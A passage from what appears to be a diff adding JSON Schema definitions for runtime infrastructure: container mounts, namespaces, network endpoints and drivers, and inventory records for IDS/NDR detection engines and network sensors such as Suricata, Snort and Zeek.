node.","properties":{"backend_generated":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Backend Generated"},"description":{"$ref":"#/$defs/_r53"},"filesystem_type":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Filesystem Type","type":"string"},"options":{"items":{"$ref":"#/$defs/_r185"},"title":"Options","type":"array"},"options_sensitivity":{"anyOf":[{"$ref":"#/$defs/RuntimeSensitivityClassification"},{"$ref":"#/$defs/_r160"}],"default":"unknown","title":"Options Sensitivity"},"propagation":{"anyOf":[{"$ref":"#/$defs/RuntimeMountPropagation"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][rR][iI][vV][aA][tT][eE]|[rR][pP][rR][iI][vV][aA][tT][eE]|[sS][hH][aA][rR][eE][dD]|[rR][sS][hH][aA][rR][eE][dD]|[sS][lL][aA][vV][eE]|[rR][sS][lL][aA][vV][eE]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Propagation"},"read_only":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"}],"default":false,"title":"Read Only"},"source":{"$ref":"#/$defs/_r74"},"source_kind":{"anyOf":[{"$ref":"#/$defs/RuntimeMountSourceKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[vV][oO][lL][uU][mM][eE]|[bB][iI][nN][dD]|[tT][mM][pP][fF][sS]|[iI][mM][aA][gG][eE]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Source Kind"},"source_sensitivity":{"anyOf":[{"$ref":"#/$defs/RuntimeSensitivityClassification"},{"$ref":"#/$defs/_r160"}],"default":"unknown","title":"Source Sensitivity"},"stability":{"$ref":"#/$defs/_r11"},"target":{"$ref":"#/$defs/_r182"}},"required":["target"],"title":"RuntimeMount","type":"object"}, + "RuntimeMountPropagation": {"description":"Portable propagation mode for a runtime filesystem mount.","enum":["private","rprivate","shared","rshared","slave","rslave","unknown","other"],"title":"RuntimeMountPropagation","type":"string"}, + "RuntimeMountSourceKind": {"description":"Portable source kind for a runtime filesystem mount.","enum":["volume","bind","tmpfs","image","other","unknown"],"title":"RuntimeMountSourceKind","type":"string"}, + "RuntimeNamespaceConfiguration": {"additionalProperties":false,"description":"Required namespace modes for a runtime node or container.","properties":{"cgroup":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Cgroup","type":"string"},"ipc":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Ipc","type":"string"},"network":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkNamespace"},{"type":"null"}],"default":null},"pid":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Pid","type":"string"},"userns":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Userns","type":"string"},"uts":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Uts","type":"string"}},"title":"RuntimeNamespaceConfiguration","type":"object"}, + "RuntimeNetworkBackendDetail": {"additionalProperties":false,"description":"Required backend network driver and IPAM detail for an endpoint's network.\n\n``driver_options`` and ``ipam_options`` are the bounded extension seam for\nbackend-native key/value facts; raw backend inspect payloads are not stored.","properties":{"description":{"$ref":"#/$defs/_r53"},"driver":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkDriver"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[bB][rR][iI][dD][gG][eE]|[oO][vV][eE][rR][lL][aA][yY]|[hH][oO][sS][tT]|[iI][pP][vV][lL][aA][nN]|[mM][aA][cC][vV][lL][aA][nN]|[nN][oO][nN][eE]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Driver"},"driver_options":{"additionalProperties":{"$ref":"#/$defs/_r185"},"title":"Driver Options","type":"object"},"ipam_driver":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Ipam Driver","type":"string"},"ipam_options":{"additionalProperties":{"$ref":"#/$defs/_r185"},"title":"Ipam Options","type":"object"}},"title":"RuntimeNetworkBackendDetail","type":"object"}, + "RuntimeNetworkDetectionAppProtocol": {"description":"App-layer parser family enabled in the detection engine.","enum":["http","tls","dns","ssh","smtp","ftp","smb","http2","nfs","rdp","krb5","mqtt","modbus","unknown","other"],"title":"RuntimeNetworkDetectionAppProtocol","type":"string"}, + "RuntimeNetworkDetectionControlCapability": {"description":"Operation supported by a detection-engine control channel.","enum":["rule_reload","ruleset_update","config_reload","stats_query","pause","resume","shutdown","unknown","other"],"title":"RuntimeNetworkDetectionControlCapability","type":"string"}, + "RuntimeNetworkDetectionControlChannel": {"additionalProperties":false,"description":"A bounded detection-engine control or reload channel.","properties":{"auth_required":{"$ref":"#/$defs/_r26"},"capabilities":{"items":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkDetectionControlCapability"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[rR][uU][lL][eE][-_][rR][eE][lL][oO][aA][dD]|[rR][uU][lL][eE][sS][eE][tT][-_][uU][pP][dD][aA][tT][eE]|[cC][oO][nN][fF][iI][gG][-_][rR][eE][lL][oO][aA][dD]|[sS][tT][aA][tT][sS][-_][qQ][uU][eE][rR][yY]|[pP][aA][uU][sS][eE]|[rR][eE][sS][uU][mM][eE]|[sS][hH][uU][tT][dD][oO][wW][nN]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}]},"title":"Capabilities","type":"array"},"channel_id":{"$ref":"#/$defs/_r3"},"description":{"$ref":"#/$defs/_r53"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkDetectionControlChannelKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[uU][nN][iI][xX][-_][sS][oO][cC][kK][eE][tT]|[tT][cC][pP][-_][aA][pP][iI]|[hH][tT][tT][pP][-_][aA][pP][iI]|[cC][lL][iI]|[sS][iI][gG][nN][aA][lL]|[fF][iI][lL][eE][-_][dD][rR][oO][pP]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Kind"},"path":{"$ref":"#/$defs/_r65"},"service":{"$ref":"#/$defs/_r70"}},"required":["channel_id"],"title":"RuntimeNetworkDetectionControlChannel","type":"object"}, + "RuntimeNetworkDetectionControlChannelKind": {"description":"Portable local or remote control-channel family.","enum":["unix_socket","tcp_api","http_api","cli","signal","file_drop","unknown","other"],"title":"RuntimeNetworkDetectionControlChannelKind","type":"string"}, + "RuntimeNetworkDetectionEngine": {"additionalProperties":false,"description":"Node-scoped runtime inventory for an IDS/NDR detection engine.","properties":{"app_layer_protocols":{"items":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkDetectionAppProtocol"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[hH][tT][tT][pP]|[tT][lL][sS]|[dD][nN][sS]|[sS][sS][hH]|[sS][mM][tT][pP]|[fF][tT][pP]|[sS][mM][bB]|[hH][tT][tT][pP]2|[nN][fF][sS]|[rR][dD][pP]|[kK][rR][bB]5|[mM][qQ][tT][tT]|[mM][oO][dD][bB][uU][sS]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}]},"title":"App Layer Protocols","type":"array"},"configuration_file_refs":{"$ref":"#/$defs/_r108"},"control_channels":{"items":{"$ref":"#/$defs/RuntimeNetworkDetectionControlChannel"},"title":"Control Channels","type":"array"},"description":{"$ref":"#/$defs/_r53"},"engine_kind":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkDetectionEngineKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[iI][dD][sS]|[iI][pP][sS]|[nN][dD][rR]|[nN][sS][mM]|[nN][tT][aA]|[dD][eE][tT][eE][cC][tT][iI][oO][nN][-_][eE][nN][gG][iI][nN][eE]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Engine Kind"},"evidence_refs":{"$ref":"#/$defs/_r118"},"implementation":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkDetectionEngineImplementation"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][uU][rR][iI][cC][aA][tT][aA]|[sS][nN][oO][rR][tT]|[zZ][eE][eE][kK]|[sS][eE][cC][uU][rR][iI][tT][yY][-_][oO][nN][iI][oO][nN]|[aA][rR][kK][iI][mM][eE]|[cC][oO][rR][eE][lL][iI][gG][hH][tT]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Implementation"},"log_file_refs":{"$ref":"#/$defs/_r123"},"name":{"$ref":"#/$defs/_r64"},"network_detection_engine_id":{"$ref":"#/$defs/_r3"},"network_sets":{"items":{"$ref":"#/$defs/RuntimeNetworkDetectionNetworkSet"},"title":"Network Sets","type":"array"},"output_streams":{"items":{"$ref":"#/$defs/RuntimeNetworkDetectionOutputStream"},"title":"Output Streams","type":"array"},"process_ref":{"$ref":"#/$defs/_r66"},"revision":{"$ref":"#/$defs/_r68"},"rule_sources":{"items":{"$ref":"#/$defs/RuntimeNetworkDetectionRuleSource"},"title":"Rule Sources","type":"array"},"sensor_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Sensor Ref","type":"string"},"version":{"$ref":"#/$defs/_r81"}},"required":["network_detection_engine_id"],"title":"RuntimeNetworkDetectionEngine","type":"object"}, + "RuntimeNetworkDetectionEngineImplementation": {"description":"Observed product family for a network detection engine.","enum":["suricata","snort","zeek","security_onion","arkime","corelight","unknown","other"],"title":"RuntimeNetworkDetectionEngineImplementation","type":"string"}, + "RuntimeNetworkDetectionEngineKind": {"description":"Portable detection-engine role/family.","enum":["ids","ips","ndr","nsm","nta","detection_engine","unknown","other"],"title":"RuntimeNetworkDetectionEngineKind","type":"string"}, + "RuntimeNetworkDetectionEventType": {"description":"Event family emitted by a detection output stream.","enum":["alert","http","dns","tls","ssh","smtp","ftp","smb","flow","netflow","stats","fileinfo","anomaly","unknown","other"],"title":"RuntimeNetworkDetectionEventType","type":"string"}, + "RuntimeNetworkDetectionNetworkSet": {"additionalProperties":false,"description":"A network zoning or service-group address-set variable.","properties":{"description":{"$ref":"#/$defs/_r53"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkDetectionNetworkSetKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[hH][oO][mM][eE][-_][nN][eE][tT]|[eE][xX][tT][eE][rR][nN][aA][lL][-_][nN][eE][tT]|[dD][mM][zZ][-_][nN][eE][tT]|[iI][nN][tT][eE][rR][nN][aA][lL][-_][nN][eE][tT]|[sS][eE][rR][vV][iI][cC][eE][-_][gG][rR][oO][uU][pP]|[cC][uU][sS][tT][oO][mM]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Kind"},"name":{"$ref":"#/$defs/_r64"},"network_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Network Refs","type":"array"},"selector_values":{"items":{"$ref":"#/$defs/_r185"},"title":"Selector Values","type":"array"},"set_id":{"$ref":"#/$defs/_r3"}},"required":["set_id"],"title":"RuntimeNetworkDetectionNetworkSet","type":"object"}, + "RuntimeNetworkDetectionNetworkSetKind": {"description":"Portable network/address-set variable role.","enum":["home_net","external_net","dmz_net","internal_net","service_group","custom","unknown","other"],"title":"RuntimeNetworkDetectionNetworkSetKind","type":"string"}, + "RuntimeNetworkDetectionOutputFormat": {"description":"Portable detection output stream format.","enum":["eve_json","fast_log","json","pcap","netflow","syslog","text","unknown","other"],"title":"RuntimeNetworkDetectionOutputFormat","type":"string"}, + "RuntimeNetworkDetectionOutputStream": {"additionalProperties":false,"description":"A detection alert, telemetry, or summary output stream.","properties":{"description":{"$ref":"#/$defs/_r53"},"enabled":{"$ref":"#/$defs/_r27"},"event_types":{"items":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkDetectionEventType"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][lL][eE][rR][tT]|[hH][tT][tT][pP]|[dD][nN][sS]|[tT][lL][sS]|[sS][sS][hH]|[sS][mM][tT][pP]|[fF][tT][pP]|[sS][mM][bB]|[fF][lL][oO][wW]|[nN][eE][tT][fF][lL][oO][wW]|[sS][tT][aA][tT][sS]|[fF][iI][lL][eE][iI][nN][fF][oO]|[aA][nN][oO][mM][aA][lL][yY]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}]},"title":"Event Types","type":"array"},"format":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkDetectionOutputFormat"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[eE][vV][eE][-_][jJ][sS][oO][nN]|[fF][aA][sS][tT][-_][lL][oO][gG]|[jJ][sS][oO][nN]|[pP][cC][aA][pP]|[nN][eE][tT][fF][lL][oO][wW]|[sS][yY][sS][lL][oO][gG]|[tT][eE][xX][tT]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Format"},"path":{"$ref":"#/$defs/_r65"},"stream_id":{"$ref":"#/$defs/_r3"}},"required":["stream_id"],"title":"RuntimeNetworkDetectionOutputStream","type":"object"}, + "RuntimeNetworkDetectionRuleFormat": {"description":"Portable rule/content syntax family.","enum":["suricata_rule","snort_rule","zeek_script","sigma","yara","stix","json","yaml","text","unknown","other"],"title":"RuntimeNetworkDetectionRuleFormat","type":"string"}, + "RuntimeNetworkDetectionRuleSource": {"additionalProperties":false,"description":"A loaded rule, IOC, script, or managed detection-content source.","properties":{"description":{"$ref":"#/$defs/_r53"},"file_refs":{"$ref":"#/$defs/_r119"},"format":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkDetectionRuleFormat"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][uU][rR][iI][cC][aA][tT][aA][-_][rR][uU][lL][eE]|[sS][nN][oO][rR][tT][-_][rR][uU][lL][eE]|[zZ][eE][eE][kK][-_][sS][cC][rR][iI][pP][tT]|[sS][iI][gG][mM][aA]|[yY][aA][rR][aA]|[sS][tT][iI][xX]|[jJ][sS][oO][nN]|[yY][aA][mM][lL]|[tT][eE][xX][tT]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Format"},"generated_by":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Generated By","type":"string"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkDetectionRuleSourceKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[bB][uU][iI][lL][tT][-_][iI][nN]|[cC][oO][mM][mM][uU][nN][iI][tT][yY]|[mM][aA][nN][aA][gG][eE][dD]|[lL][oO][cC][aA][lL]|[tT][hH][rR][eE][aA][tT][-_][iI][nN][tT][eE][lL]|[iI][oO][cC]|[eE][mM][eE][rR][gG][iI][nN][gG][-_][tT][hH][rR][eE][aA][tT][sS]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Kind"},"loaded":{"$ref":"#/$defs/_r28"},"name":{"$ref":"#/$defs/_r64"},"rule_count":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Rule Count"},"source_id":{"$ref":"#/$defs/_r3"}},"required":["source_id"],"title":"RuntimeNetworkDetectionRuleSource","type":"object"}, + "RuntimeNetworkDetectionRuleSourceKind": {"description":"Portable rule-source provenance/family.","enum":["built_in","community","managed","local","threat_intel","ioc","emerging_threats","unknown","other"],"title":"RuntimeNetworkDetectionRuleSourceKind","type":"string"}, + "RuntimeNetworkDriver": {"description":"Backend network driver class required by the scenario.","enum":["bridge","overlay","host","ipvlan","macvlan","none","other","unknown"],"title":"RuntimeNetworkDriver","type":"string"}, + "RuntimeNetworkEndpoint": {"additionalProperties":false,"description":"A required container network attachment.\n\n``network`` references a declared switch-backed infrastructure network by\nname. Runtime-generated identifiers and names are capture evidence, not\ndeclaration identity.","properties":{"aliases":{"$ref":"#/$defs/_r100"},"backend":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkBackendDetail"},{"type":"null"}],"default":null},"description":{"$ref":"#/$defs/_r53"},"dns_names":{"items":{"$ref":"#/$defs/_r185"},"title":"Dns Names","type":"array"},"gateway":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Gateway","type":"string"},"ip_address":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Ip Address","type":"string"},"ip_prefix_length":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Ip Prefix Length"},"mac_address":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Mac Address","type":"string"},"network":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Network","type":"string"}},"required":["network"],"title":"RuntimeNetworkEndpoint","type":"object"}, + "RuntimeNetworkNamespace": {"additionalProperties":false,"description":"A request to use the exact network namespace owned by another node.","properties":{"target_node_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Target Node Ref","type":"string"}},"required":["target_node_ref"],"title":"RuntimeNetworkNamespace","type":"object"}, + "RuntimeNetworkRealization": {"additionalProperties":false,"description":"Declarative container network state for a node.\n\n``hostname`` and ``domainname`` are required container network identities,\nkept distinct from per-network aliases and DNS names.","properties":{"description":{"$ref":"#/$defs/_r53"},"domainname":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Domainname","type":"string"},"endpoints":{"items":{"$ref":"#/$defs/RuntimeNetworkEndpoint"},"title":"Endpoints","type":"array"},"hostname":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Hostname","type":"string"},"published_ports":{"items":{"$ref":"#/$defs/RuntimePublishedPort"},"title":"Published Ports","type":"array"}},"title":"RuntimeNetworkRealization","type":"object"}, + "RuntimeNetworkSensor": {"additionalProperties":false,"description":"Node-scoped runtime inventory for a passive or inline network sensor.","properties":{"capture_interfaces":{"items":{"$ref":"#/$defs/_r185"},"title":"Capture Interfaces","type":"array"},"capture_mode":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkSensorCaptureMode"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][cC][aA][pP]|[aA][fF][-_][pP][aA][cC][kK][eE][tT]|[nN][fF][qQ][uU][eE][uU][eE]|[nN][eE][tT][mM][aA][pP]|[dD][pP][dD][kK]|[fF][lL][oO][wW]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Capture Mode"},"configuration_file_refs":{"$ref":"#/$defs/_r108"},"description":{"$ref":"#/$defs/_r53"},"evidence_refs":{"$ref":"#/$defs/_r118"},"implementation":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkSensorImplementation"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][uU][rR][iI][cC][aA][tT][aA]|[sS][nN][oO][rR][tT]|[zZ][eE][eE][kK]|[tT][cC][pP][dD][uU][mM][pP]|[sS][eE][cC][uU][rR][iI][tT][yY][-_][oO][nN][iI][oO][nN]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Implementation"},"log_file_refs":{"$ref":"#/$defs/_r123"},"monitored_network_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Monitored Network Refs","type":"array"},"monitoring_posture":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkSensorMonitoringPosture"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[pP][aA][sS][sS][iI][vV][eE]|[iI][nN][lL][iI][nN][eE]|[hH][oO][sS][tT][-_][lL][oO][cC][aA][lL]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Monitoring Posture"},"name":{"$ref":"#/$defs/_r64"},"network_sensor_id":{"$ref":"#/$defs/_r3"},"process_ref":{"$ref":"#/$defs/_r66"},"revision":{"$ref":"#/$defs/_r68"},"sensor_kind":{"anyOf":[{"$ref":"#/$defs/RuntimeNetworkSensorKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[iI][dD][sS]|[iI][pP][sS]|[nN][sS][mM]|[nN][dD][rR]|[pP][aA][cC][kK][eE][tT][-_][cC][aA][pP][tT][uU][rR][eE]|[fF][lL][oO][wW][-_][cC][oO][lL][lL][eE][cC][tT][oO][rR]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Sensor Kind"},"version":{"$ref":"#/$defs/_r81"}},"required":["network_sensor_id"],"title":"RuntimeNetworkSensor","type":"object"}, + "RuntimeNetworkSensorCaptureMode": {"description":"Portable capture mechanism family for an observed sensor.","enum":["pcap","af_packet","nfqueue","netmap","dpdk","flow","unknown","other"],"title":"RuntimeNetworkSensorCaptureMode","type":"string"}, + "RuntimeNetworkSensorImplementation": {"description":"Observed product family for a network sensor.","enum":["suricata","snort","zeek","tcpdump","security_onion","unknown","other"],"title":"RuntimeNetworkSensorImplementation","type":"string"}, + "RuntimeNetworkSensorKind": {"description":"Portable network-sensor function.","enum":["ids","ips","nsm","ndr","packet_capture","flow_collector","other","unknown"],"title":"RuntimeNetworkSensorKind","type":"string"}, + "RuntimeNetworkSensorMonitoringPosture": {"description":"Whether the sensor observes passively, inline, or locally.","enum":["passive","inline","host_local","unknown","other"],"title":"RuntimeNetworkSensorMonitoringPosture","type":"string"}, + "RuntimeOperationalPolicy": 